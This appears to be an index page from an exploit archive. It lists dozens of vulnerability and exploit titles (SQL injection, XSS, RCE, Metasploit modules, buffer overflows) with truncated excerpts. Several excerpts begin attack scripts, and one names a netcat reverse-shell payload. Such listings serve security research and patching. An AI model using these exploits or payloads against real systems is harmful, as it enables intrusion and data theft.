Vehicle Parking Management System 1.0 Cross Site Scripting

Exploit Title: Vehicle Parking Management System 1.0 - 'catename' Persistent Cross-Site Scripting XSS Date: 2021-02-25 Exploit Author: Tushar Vaidya Vendor Homepage: https://www.sourcecodester.com/php/14415/vehicle-parking-management-system-project-phpmysql-full-source-code.html Software Link:...

SmarterMail 6985 Remote Code Execution

Exploit Title: SmarterMail Build 6985 - Remote Code Execution Exploit Author: 1F98D Original Author: Soroush Dalili Date: 10 May 2020 Vendor Hompage: re CVE: CVE-2019-7214 Tested on: Windows 10 x64 References:...

libxslt xsltParseStylesheetProcess Use-After-Free

libxslt suffers from a use-after-free vulnerability in xsltParseStylesheetProcess. There is a use-after-free issue in libxslt read on a namespace URL stored in exclPrefixTab. The issue was reproduced on the latest Git version. The proof of concept and ASAN log are provided at the end of the repor...

Job Castle 1.0 Arbitrary File Upload

============================================================================================================================================= | Title : Job Castle v1.0 Remote File Upload Vulnerability | | Author : indoushka | | Tested on : windows 10 FrPro / browser : Mozilla firefox 128.0.3 64...

FreeSWITCH 1.10.6 Missing SIP MESSAGE Authentication

FreeSWITCH does not authenticate SIP MESSAGE requests, leading to spam and message spoofing - Fixed versions: v1.10.7 - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-07-freeswitch-SIP-MESSAGE-without-auth - Vendor Security Advisory:...

Water Billing System 1.0 SQL Injection

Exploit Title: Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection SQL Injection in 'username' and 'password' parameters allows attacker to run the SQL commands on the victim to extract entire DB. In advanced exploitation, an attacker can run the arbitrary code on the...

OX App Suite / OX Guard / OX Documents SSRF / Cross Site Scripting

Dear subscribers, we're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those vulnerabilities. Feel free to join our bug bounty programs for OX AppSuite, Dovecot and PowerDNS at HackerOne. Note that some bugfixes MWB-423, MWB-460, MWB-492,...

Heroic Knowledge Base 3.0.1 Cross Site Scripting

Exploit Title : Heroic Knowledge Base Plugin Methode POST POST /wp-admin/admin-ajax.php HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:56.0 Gecko/20100101 Firefox/56.0 Waterfox/56.3 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate...

Monitorr 1.7.6m Remote Code Execution

!/usr/bin/python -- coding: UTF-8 -- Exploit Title: Monitorr 1.7.6m - Remote Code Execution Unauthenticated Date: September 12, 2020 Exploit Author: Lyhin's Lab Detailed Bug Description:...

Coship Wireless Router Unauthenticated Admin Password Reset

history.pushState'', '', '/'...

ProCaster LE-32F430 GStreamer souphttpsrc libsoup/2.51.3 Stack Overflow

!/bin/sh ProCaster LE-32F430 NotSoSmartTV remote code execution exploit through GStreamer souphttpsrc libsoup/2.51.3 HTTP stack overflow CVE-2017-2885 def 2020-02-15 ................. 850day exploit lol Exploit payload: ret2libc system nc reverse shell with a clean exit CMD="$CMD:-/bin/busybox nc...

CMSUno 1.6 Cross Site Request Forgery

Exploit Title: CMSUno 1.6 - Cross-Site Request Forgery Change Admin Password Date: 2020-05-31 Exploit Author: Noth Vendor Homepage: https://github.com/boiteasite/cmsuno Software Link: https://github.com/boiteasite/cmsuno Version: v1.6 CVE : 2020-15600 An issue was discovered in CMSUno before 1.6....

AMD Radeon DirectX 11 Driver 8.17.10.0871 Memory Corruption

/ Title : Advanced Micro Devices, Inc. Radeon DirectX 11 Driver Firefox/MS Edge Memory Corruption Date : 10.04.2020 Exploit Author : Marcin Ressel Vendor Homepage : https://www.amd.com/ Software Link: n/a Version: 8.17.10.0871 atidxx64.dll Tested on: Windows 10 home, AMD64 Family 23 Model 24...

📄 XWiki Platform Remote Code Execution

This Metasploit module exploits a template injection vulnerability in the the XWiki Platform. XWiki includes a macro called SolrSearch defined in Main.SolrSearchMacros that enables full-text search through the embedded Solr engine. The vulnerability stems from the way this macro evaluates search...

XAMPP 3.3.0 Buffer Overflow

Exploit Title: XAMPP v3.3.0 — '.ini' Buffer Overflow Unicode + SEH Date: 2023-10-26 Author: Talson @Ripp3rdoc Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.0.28/xampp-windows-x64-8.0.28-0-VS16-installer.exe Version: 3.3.0 Tested on: Windows 11 CVE-2023-46517 \ / \ ...

WordPress Heroic Knowledge Base 3.0.1 SQL Injection

Exploit Title : wordpress Heroic Knowledge Base Plugin = 3.0.1 - sql injection Exploit Author : begininvoke Exploit Date : 2020-11-29 Vendor Homepage : https://herothemes.com + Proof Of Concept: ===================== Parameters id is vulnerable Methode POST POST /wp-admin/admin-ajax.php HTTP/1.1...

WordPress RFC WordPress 6.0.8 Shell Upload

Exploit for Remote Code Execution RCE in RFC WordPress 6.0.8 import requests import sys target = "https://target.com" Exploit for Remote Code Execution RCE in RFC WordPress 6.0.8 CODE BY E1.Coders "The King of Security" def exploitrfcwordpress: url =...

Chrome v8::internal::Object::SetPropertyWithAccessor Type Confusion

Chrome: Type confusion in v8::internal::Object::SetPropertyWithAccessor VULNERABILITY DETAILS When SetSuperProperty can't find the requested property in the holder, it performs an OWN lookup on the receiver. If the receiver has a property interceptor installed, the function invokes the...

Restaurant Reservation System 1.0 SQL Injection

Exploit Title: Restaurant Reservation System 1.0 - 'date' SQL Injection Authenticated Date: 2020-10-05 Exploit Author: b1nary Vendor Homepage: https://www.sourcecodester.com/php/14482/restaurant-reservation-system-php-full-source-code-2020.html Software Link:...

AjaxPro Deserialization Remote Code Execution

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'AjaxPro Deserialization Remote Code Execution', 'Description' = %q This module leverages an insecure deserialization of data to get remote code...

Textpattern CMS 4.6.2 Cross Site Request Forgery

Exploit Title: Textpattern CMS 4.6.2 - Cross-site Request Forgery Exploit Author: Alperen Ergel Contact: @alprenae Software Homepage: https://textpattern.com/ Version : 4.6.2 Tested on: windows 10 / xammp Category: WebApp Google Dork: intext:"Published with Textpattern CMS" Date: 2020-10-29...

Chrome V8 JavaScript Engine Remote Code Execution

/ BSD 2-Clause License Copyright c 2021, rajvardhan agarwal All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice,...

Worm.Win32.Recyl.dp Insecure Permissions

Discovery / credits: Malvuln - malvuln.com c 2021 Original source: https://malvuln.com/advisory/e4737fb6c231bfb84d1a55ec2fb61641.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Worm.Win32.Recyl.dp Vulnerability: Insecure Permissions Description: creates a dir named "RECYCLER"...

Daily Expense Tracker System 1.0 Cross Site Scripting

Exploit Title: Daily Expense Tracker System Stored Cross-Site Scripting Vulnerability Date: 2021-01-26 Exploit Author: Priyanka Samak Vendor Homepage: https://phpgurukul.com/ Software Link: https://phpgurukul.com/daily-expense-tracker-using-php-and-mysql/ Software: : Daily Expense Tracker System...

pgAdmin 8.4 Remote Code Execution

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'pgAdmin Binary Path API RCE', 'Description' = %q pgAdmin MSFLICENSE, 'Author' = 'M.Selim Karahan', metasploit module 'Mustafa Mutlu', lab prep. a...

BIND 9 DNS Server Denial Of Service

import socket import struct TARGET = '192.168.200.10', 53 QA = 1 QTSIG = 250 DNSMESSAGEHEADERLEN = 12 def buildbindnukequestion="\x06google\x03com\x00", udpsize=512: queryA = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16QA + "\x00\x01" sweetspot = udpsize -...

WordPress 4.2.4 XMLRPC GHOST Vulnerability Scanner

WordPress version 4.2.4 XMLRPC GHOST vulnerability scanning script that checks to see if an instance is vulnerable. ============================================================================================================================================= | Title : WordPress 4.2.4 XMLRPC GHOST...

Linux SO_PEERCRED / SO_PEERGROUPS Race Condition / Use-After-Free

Linux: UAF read: SOPEERCRED and SOPEERGROUPS race with listen and connect bug description In sockgetsockopt in net/core/sock.c, the handlers for the socket options SOPEERCRED has probably had a data race since forever that got turned into a UAF read in v2.6.36, commit "afunix: Allow SOPEERCRED to...

FRITZ!Box 7.20 DNS Rebinding Protection Bypass

Advisory: FRITZ!Box DNS Rebinding Protection Bypass RedTeam Pentesting discovered a vulnerability in FRITZ!Box router devices which allows to resolve DNS answers that point to IP addresses in the private local network, despite the DNS rebinding protection mechanism. Details ======= Product:...

Red Lion N-Tron 702-W / 702M12-W 2.0.26 XSS / CSRF / Shell

SEC Consult Vulnerability Lab Security Advisory ======================================================================= title: Multiple Vulnerabilities product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W vulnerable version: =2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206,...

Apache Solr 7.0.1 XXE Injection / Code Execution

First Vulnerability: XML External Entity Expansion deftype=xmlparser Lucene includes a query parser that is able to create the full-spectrum of Lucene queries, using an XML data structure. Starting from version 5.1 Solr supports "xml" query parser in the search query. The problem is that lucene x...

Wattsense Bridge 6.x Remote Root / Information Disclosure

Wattsense Bridge suffers a multitude of security issues. The JTAG interface can be accessed with physical access to the PCB. After connecting to the interface, full access to the device is possible. A serial interface can be accessed with physical access to the PCB. After connecting to the...

ExpressVPN VPN Router 1.0 Integer Overflow

Exploit Title: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow Date: 09-04-2021 Exploit Author: Jai Kumar Sharma Vendor Homepage: https://www.expressvpn.com/ Software Link: https://www.expressvpn.com/vpn-software/vpn-router Version: version 1 Tested on: Windows/Ubuntu/MacOS CVE ...

Codiad 2.8.4 Remote Code Execution

Exploit Title: Codiad 2.8.4 - Remote Code Execution Authenticated Discovery by: WangYihang Vendor Homepage: http://codiad.com/ Software Links : https://github.com/Codiad/Codiad/releases Tested Version: Version: 2.8.4 CVE: CVE-2018-14009 !/usr/bin/env python encoding: utf-8 import requests import...

TP-Link TL-WA855RE V5_200415 Device Reset Authentication Bypass

Exploit Title: TP-Link TL-WA855RE V5200415 - Device Reset Auth Bypass Date: 2020/07/29 Exploit Author: malwrforensics Vendor Homepage: https://tp-link.com Software link: https://static.tp-link.com/2020/202004/20200430/TL-WA855REV5200415.zip Version: TL-WA855REUSV5200415 Tested on: N/A CVE :...

Kyocera TASKalfa 4053ci 2VG_S000.002.561 Path Traversal / Denial Of Service

SEC Consult Vulnerability Lab Security Advisory ======================================================================= title: Path traversal bypass & Denial of service product: Kyocera TASKalfa 4053ci printer vulnerable version: TASKalfa 4053ci Version = 2VGS000.002.561 fixed version:...

WordPress WoodMart Theme 7.1.0 Shortcodes Injection

==== Z://USB-00RESEARCH/WORDPRESS/ ============================================= 2022 == Report Title: WordPress WoodMart Theme = 7.1.0 - Unauthenticated Arbitrary Shortcodes Injection Google Dork: inurl:/wp-content/themes/woodmart/ Research Date: 2022-11-12 Researcher: FearZzZz https://fearzzzz....

SuiteCRM 7.11.18 Remote Code Execution

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'SuiteCRM Log File Remote Code Execution', 'Description' = %q This module exploits an input validation error on the log file extension parameter. ...

WordPress Database Backup Remote Command Execution

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'WP Database Backup RCE', 'Description' = %q There exists a command injection vulnerability in the Wordpress plugin wp-database-backup for version...

vBulletin 4.2.0 ChangUonDyU Chatbox 3.6.0 Cross Site Scripting

Exploit Title : vBulletin 4.2.0 ChangUonDyU Chatbox Plugins 3.6.0 Cross Site Scripting Author Discovered By : KingSkrupellos Team : Cyberizm Digital Security Army Date : 26/02/2019 Vendor Homepages : vbulletin.com vietvbb.vn Software Download Link : vietvbb.vn/up/showthread.php?t=40346&page=3...

glibc syslog() Heap-Based Buffer Overflow

Qualys Security Advisory CVE-2023-6246: Heap-based buffer overflow in the glibc's syslog ======================================================================== Contents ======================================================================== Summary Analysis Proof of concept Exploitation...

Jorani Leave Management System 1.0.2 Host Header Injection

Exploit Title: Jorani Leave Management System v1.0.2 Host Header Attack Date: 12/11/2023 Exploit Author: BugsBD Security Researcher Rahad Chowdhury Vendor Homepage: https://jorani.org/ Software Link: https://github.com/bbalet/jorani/releases/download/v1.0.2/jorani-1.0.2.zip Version: v1.0.2 Tested...

Cacti 1.2.22 Command Injection

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Cacti 1.2.22 unauthenticated command injection', 'Description' = %q This module exploits an unauthenticated command injection vulnerability in...

Codiad 2.8.4 Remote Code Execution

Exploit Title: Codiad 2.8.4 - Remote Code Execution Authenticated 2 Date: 21.05.2021 Exploit Author: Ron Jost Hacker5preme Credits to: https://herolab.usd.de/security-advisories/usd-2019-0049/ Tobias Neitzel Vendor Homepage: http://codiad.com/ Software Link:...

Gila CMS 1.1.18.1 SQL Injection / Shell Upload

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require "net/http" require "uri" require 'nokogiri' class MetasploitModule 'Gila CMS 1.1.18.1 Shell Upload ', 'Description' = %q This module exploits...

Apache Struts 2.5.20 Double OGNL Evaluation

Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation Date: 08/18/2020 Exploit Author: West Shepherd Vendor Homepage: https://struts.apache.org/download.cgi Version: Struts 2.0.0 - Struts 2.5.20 S2-059 CVE : CVE-2019-0230 Credit goes to reporters Matthias Kaiser, Apple InformationSecurity,...

Simple Image Gallery System 1.0 SQL Injection

Exploit Title: Simple Image Gallery System 1.0 - 'id' SQL Injection Date: 2020-08-12 Exploit Author: Azumah Foresight Xorlali M4sk0ff Vendor Homepage: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html Software Link:...

Dell OpenManage Server Administrator 9.4.0.0 File Read

Exploit Title: Dell OpenManage Server Administrator 9.4.0.0 - Arbitrary File Read Date: 4/27/2020 Exploit Author: Rhino Security Labs Version: :' exit This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909 Also check out...

BACnet Test Server 1.01 Remote Denial Of Service

!/usr/bin/perl BACnet Test Server 1.01 Remote Denial of Service Exploit Vendor: BACnet Interoperability Test Services, Inc. Product web page: https://www.bac-test.com https://sourceforge.com/projects/bacnetserver Affected version: 1.01 BACnet Stack Version 0.5.7 Summary: This is a simple BACnet...

Microsoft Internet Explorer 11 Use-After-Free

Exploit Title: Internet Explorer 11 - Use-After-Free Google Dork: if applicable Date: 2020-09-06 Exploit Author: Tgroup Vendor Homepage: Microsoft.com Version: IE 11 REQUIRED Tested on: Windows 7 x64 CVE : CVE-2020-0674 //...